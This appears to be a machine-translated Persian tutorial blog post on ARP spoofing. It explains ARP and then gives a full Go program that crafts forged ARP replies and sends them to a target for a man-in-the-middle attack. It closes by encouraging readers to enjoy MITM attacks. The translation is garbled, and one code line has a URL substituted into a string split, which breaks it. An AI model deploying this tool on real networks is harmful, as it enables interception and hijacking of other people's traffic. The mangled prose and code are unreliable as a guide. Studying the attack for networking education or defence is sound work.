🛜 ARP Spoofing چیست؟
پست اصلی
پروتکل ARP توسط کامپیوترها به صورت روزانه یا حتی به صورت جزئی استفاده می شود. این یک پروتکل بی اهمیت است به طوری که رایانه ها از آدرس سخت افزاری که آدرس MAC نیز نامیده می شود، که به آدرس IP مرتبط است، آگاه باشند. 192.168.13.37
.
این پروتکل، مانند بسیاری دیگر، مستعد آن است حملات جعل و این چیزی است که در زیر توضیح خواهم داد.
پروتکل ARP
پروتکل Address Resolution Protocol یک پروتکل ارتباطی است که برای کشف آدرس لایه پیوند، مانند یک آدرس سخت افزاری، مرتبط با یک آدرس لایه اینترنت معین، معمولاً یک آدرس IPv4 استفاده می شود. این نگاشت یک تابع حیاتی در مجموعه پروتکل اینترنت است. 1
این تعریف به طور مستقیم به اصل مطلب میرود، اما من میخواهم پروتکل ARP را به روشی گرافیکیتر از متن نشان دهم.
پروتکل ARP پروتکلی است که اطمینان حاصل می کند آدرس IPv4 داده شده است، مربوطه را دریافت خواهید کرد آدرس سخت افزاری از دستگاه این بسیار مهم است زیرا سخت افزار اترنت با آن ارتباط برقرار می کند آدرس های سخت افزاری و نه آدرس های IP.
سناریوی نمونه
بنابراین فرض کنید چهار جزء داریم:
- مشتری، موسوم به دستگاه A
- روتر
- دستگاه B با آدرس IP
192.168.13.37
- دستگاه C با آدرس IP
192.168.13.66
من، مشتری و دستگاه A، می خواهید داده ها را به دستگاه B، اگرچه من فقط آدرس IPv4 آن را می دانم. پس حالا که به آدرس سخت افزاری آن نیاز دارم، یک را پخش خواهم کرد درخواست ARP بسته در شبکه برای دریافت آدرس سخت افزاری دستگاه B.
این دستگاه B تشخیص می دهد که من آدرس سخت افزاری آن را بر اساس آدرس IPv4 آن درخواست می کنم، بنابراین یک را ارسال می کند پاسخ ARP بسته به من با آدرس سخت افزاری آن در داخل.
هنگامی که آدرس سخت افزار دستگاه را داشته باشم، برای استفاده در آینده در جدول ARP شخصی من ذخیره می شود. جدول ARP را می توان در ترمینال با دستورات زیر مشاهده کرد:
arp -a
بوییدن با Wireshark
وقتی بسته ها را فیلتر می کنید، تمام سناریوهای توصیف شده در بالا به راحتی در Wireshark قابل مشاهده هستند:
در بسته های بالا قطعاً می توانیم ببینیم که دستگاه هواوی به آدرس سخت افزاری سه آدرس IPv4 نیاز دارد.
حال اگر آدرس IPv4 در شبکه وجود داشته باشد، دستگاه مورد نظر با یک پاسخ خواهد داد پاسخ ARP بسته این را می توان در Wireshark نیز مشاهده کرد:
در اینجا آدرس سخت افزاری دستگاه اپل به دستگاه هواوی ارسال می شود و در جدول ARP آن برای کش ذخیره می شود.
جعل ARP
اکنون که دانش زمینی پروتکل ARP شناخته شده است، شاید جالب باشد که در نهایت بفهمیم چه چیزی جعل ARP واقعا هست
توضیح
تعریف الف حمله جعل است:
در زمینه امنیت اطلاعات و به ویژه امنیت شبکه، حمله جعل وضعیتی است که در آن شخص یا برنامه ای با جعل داده ها با موفقیت به عنوان دیگری شناسایی می شود تا مزیتی نامشروع به دست آورد. 2
بنابراین این در حال حاضر اطلاعات زیادی از چه چیزی می دهد جعل ARP واقعا هست با انجام یک حمله ARP Spoofing ما این کار را انجام خواهیم داد با جعل داده ها به عنوان دستگاه دیگری شناسایی شود. برخی از افراد ممکن است از قبل بدانند که چگونه این امر ممکن است. مدتی به تنهایی به آن فکر کنید و سپس به خواندن ادامه دهید.
اگر در مورد آن فکر کرده اید پاسخ ARP بسته، شما کاملا درست می گویید! این نسبتا ساده است. بازگشت به استفاده مشروع از سناریوی پروتکل ARP در بالا. ما به عنوان مهاجم به سادگی این کار را انجام خواهیم داد هرزنامه ها ARP بسته ها را پاسخ دهید و بگویید که ما دستگاهی هستیم که IPv4 دارد 192.168.13.37
، دستگاه با IPv4 192.168.13.66
و غیره و غیره در نهایت می توانیم باشیم هر دستگاه از شبکه و سایر دستگاه ها را فریب دهید تا بسته های خود را به جای دستگاه قانونی برای ما ارسال کنند. به این می گویند a مرد در وسط حمله کنند.
شایان ذکر است که در حین حمله ARP Spoofing به یک دستگاه حتی ممکن است بسته های درخواست ARP ارسال نکند، مهاجم فقط به ارسال هرزنامه ادامه می دهد.
عواقب
برخی از پیامدهای اصلی جعل ARP عبارتند از:
- ربودن جلسه: بسته های مربوطه برای مهاجم ارسال می شود.
- مرد در وسط: علت ربودن جلسه در نتیجه، بسته ها برای مهاجم ارسال می شوند.
- DDoS: مهاجم می تواند بسته های ARP Reply را که نشان می دهد آدرس سخت افزاری تمام آدرس های IPv4 شبکه است اسپم کند.
13:de:ad:be:ef:37
که منجر به ارسال تمام بسته ها به یک هدف می شود.
کد مثال برای جعل ARP
قبل از پایان دادن به این موضوع، ممکن است جالب باشد که ببینید چگونه خودتان یک حمله ARP Spoofing را انجام دهید و خودتان را آموزش دهید. البته ما می توانستیم ابزاری مانند اسکریپت متوسط بچه را دانلود کنیم، اما این بسیار خسته کننده است…
⚠️ توجه داشته باشید که بسته به کاری که ممکن است با ARP Spoofing انجام دهید، ممکن است غیر مجاز – به شما هشدار داده شده است.
من کلاهبرداری ARP کوچک خود را در Go کدنویسی کردهام زیرا عاشق این زبان هستم، اگرچه میتوان آن را به زبانهای دیگر، به عنوان مثال پایتون با Scapy، کدگذاری کرد.
بیا شروع کنیم!
ساختار جلسه
من ایجاد کرده ام Session
ساختار در الف session.go
فایل برای ذخیره اطلاعات مربوطه که بعداً استفاده خواهد شد:
package main
import (
"github.com/google/gopacket/pcap"
"github.com/kkrypt0nn/logger.go"
"net"
)
// Some wacky way to get the outbound IP address ^-^
func getOutboundIP() net.IP {
conn, err := net.Dial("udp", "8.8.8.8:80")
if err != nil {
panic(err)
}
defer conn.Close()
return conn.LocalAddr().(*net.UDPAddr).IP
}
type Session struct {
iface net.Interface
device pcap.Interface
ip net.IP
mac net.HardwareAddr
logger *logger.Logger
}
func NewSession() *Session {
return &Session{
ip: getOutboundIP(), // This will try to resolve the IP, if it's inaccurate you can hard-code it..
logger: logger.NewLogger(),
}
}
این getOutboundIP
تابع آدرس IP در حال استفاده را حل می کند، در صورت تمایل می توانید آن را سخت کد کنید.
ساخت بسته های پاسخ ARP
برای ایجاد بستههای ARP Reply سفارشی، ابتدا باید یک لایه اترنت ایجاد کنیم که حاوی آدرسهای سختافزار مبدا و مقصد باشد. لایه دومی که به آن نیاز داریم بدیهی است لایه ARP است، در اینجا هم آدرس IPv4 مبدا و مقصد و هم آدرس سخت افزار مقصد را ارائه می دهیم. سپس باید لایه ها را سریال کنیم تا مطمئن شویم که درست هستند، اگر درست هستند، می توانیم بافر را برگردانیم، همه اینها در arp.go
فایل:
package main
import (
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"net"
)
type Address struct {
ip net.IP
mac net.HardwareAddr
}
func NewAddress(ip net.IP, mac net.HardwareAddr) *Address {
return &Address{
ip: ip,
mac: mac,
}
}
func (a *Address) GetIP() net.IP {
return a.ip
}
func (a *Address) GetMAC() net.HardwareAddr {
return a.mac
}
var Options = gopacket.SerializeOptions{
FixLengths: true,
ComputeChecksums: true,
}
func NewARPReplyPacket(src *Address, dst *Address) ([]byte, error) {
ethLayer := layers.Ethernet{
SrcMAC: src.mac,
DstMAC: dst.mac,
EthernetType: layers.EthernetTypeARP,
}
arpLayer := layers.ARP{
AddrType: layers.LinkTypeEthernet,
Protocol: layers.EthernetTypeIPv4,
HwAddressSize: 6,
ProtAddressSize: 4,
Operation: layers.ARPReply,
SourceHwAddress: src.mac,
SourceProtAddress: src.ip.To4(),
DstHwAddress: dst.mac,
DstProtAddress: dst.ip.To4(),
}
buffer := gopacket.NewSerializeBuffer()
if err := gopacket.SerializeLayers(buffer, Options, ðLayer, &arpLayer); err != nil {
return nil, err
}
return buffer.Bytes(), nil
}
ℹ️ منبع در اینجا ما، مهاجم، با IPv4 معمولی و آدرس سخت افزاری خود هستیم. و مقصد هست وسیله ای که می خواهیم باشیم، بنابراین ما هدف گذاری شده است دستگاه با نام مستعار قربانی.
ارسال بسته ها
مرحله آخر فقط در مورد ارسال بسته های دستکاری شده در یک حلقه است. اما ابتدا باید رابط کاربری را که می خواهیم اینها را روی آن ارسال کنیم و همچنین دستگاه را بشناسیم. من چند کد کوچک اضافه کرده ام تا ابتدا با مقایسه IP خروجی با IP هر رابط روی دستگاه، رابط را پیدا کنم، پس از اینکه با رابط مورد نیاز ما مطابقت داشت.
دانستن نام دستگاهی که بسته ها را از طریق آن ارسال می کنید همان بازی است، روی همه دستگاه ها حلقه می زنیم، روی تمام آدرس های آن حلقه می زنیم IPv4 را بررسی کنید. سپس دستگاه را باز میکنیم و سعی میکنیم بستههای جعلی را ارسال کنیم، همه این کارها در آن انجام شده است main.go
فایل:
package main
import (
"github.com/google/gopacket/pcap"
"net"
"strings"
"time"
)
// Obviously these are not accurate & fictive addresses
const (
TargetIP = "192.168.13.37"
TargetMAC = "13:de:ad:be:ef:37"
Timeout = 5 * time.Second
TotalPacketsToSend = 15
)
func main() {
// Create a new session
s := NewSession()
// Get the interface
ifaces, err := net.Interfaces()
if err != nil {
s.logger.Fatal("Failed to retrieve interfaces: " + err.Error())
return
}
for _, iface := range ifaces {
if iface.HardwareAddr == nil {
continue
}
addrs, err := iface.Addrs()
if err != nil {
s.logger.Fatal("Failed to retrieve the addresses of the interface: " + err.Error())
}
for _, addr := range addrs {
if strings.Split(addr.String(), "https://dev.to/")[0] == s.ip.String() {
// Set the current interface & MAC address
s.iface = iface
s.mac = iface.HardwareAddr
break
}
}
}
// Get the device to listen to
devices, err := pcap.FindAllDevs()
if err != nil {
s.logger.Fatal("Failed to retrieve devices: " + err.Error())
return
}
for _, device := range devices {
for _, address := range device.Addresses {
if address.IP.To4().String() == s.ip.String() {
s.device = device
break
}
}
}
// Open the device and be prepared to send the spoofed packets
handler, err := pcap.OpenLive(s.device.Name, 65535, true, pcap.BlockForever)
if err != nil {
s.logger.Fatal("Failed to open device: " + err.Error())
return
}
// Prepare the ARP reply packet
src := NewAddress(s.ip, s.mac)
mac, _ := net.ParseMAC(TargetMAC)
dst := NewAddress(net.ParseIP(TargetIP), mac)
arpReply, _ := NewARPReplyPacket(src, dst)
s.logger.Info("Sending spoofed ARP replies to " + dst.GetIP().String() + " with MAC " + dst.GetMAC().String() + " every " + Timeout.String())
// Send the packets
for i := 0; i < TotalPacketsToSend; i++ {
err = handler.WritePacketData(arpReply)
if err != nil {
s.logger.Error("Failed to send packet: " + err.Error())
}
time.Sleep(Timeout)
}
}
نتیجه
هنگام اجرای ابزار کوچک، به وضوح میتوانیم حمله ARP Spoofing را هنگام باز کردن Wireshark مشاهده کنیم:
نتیجه
جعل ARP بسته به سناریو می تواند منجر به عواقب جدی شود، اگرچه پروتکل ARP استفاده قانونی نیز دارد، بنابراین نمی توانید کل پروتکل ARP را مسدود کنید. برخی از اقدامات کاهشی در برابر حملات ARP Spoofing وجود دارد که من به طور خلاصه آنها را نمی دانم، اما به راحتی می توان آنها را هنگام جستجو در گوگل به تنهایی پیدا کرد. در عین حال، از انجام برخی از حملات MITM لذت ببرید.
پروتکل حل آدرس، ویکی پدیا ↩
حمله جعل، ویکی پدیا ↩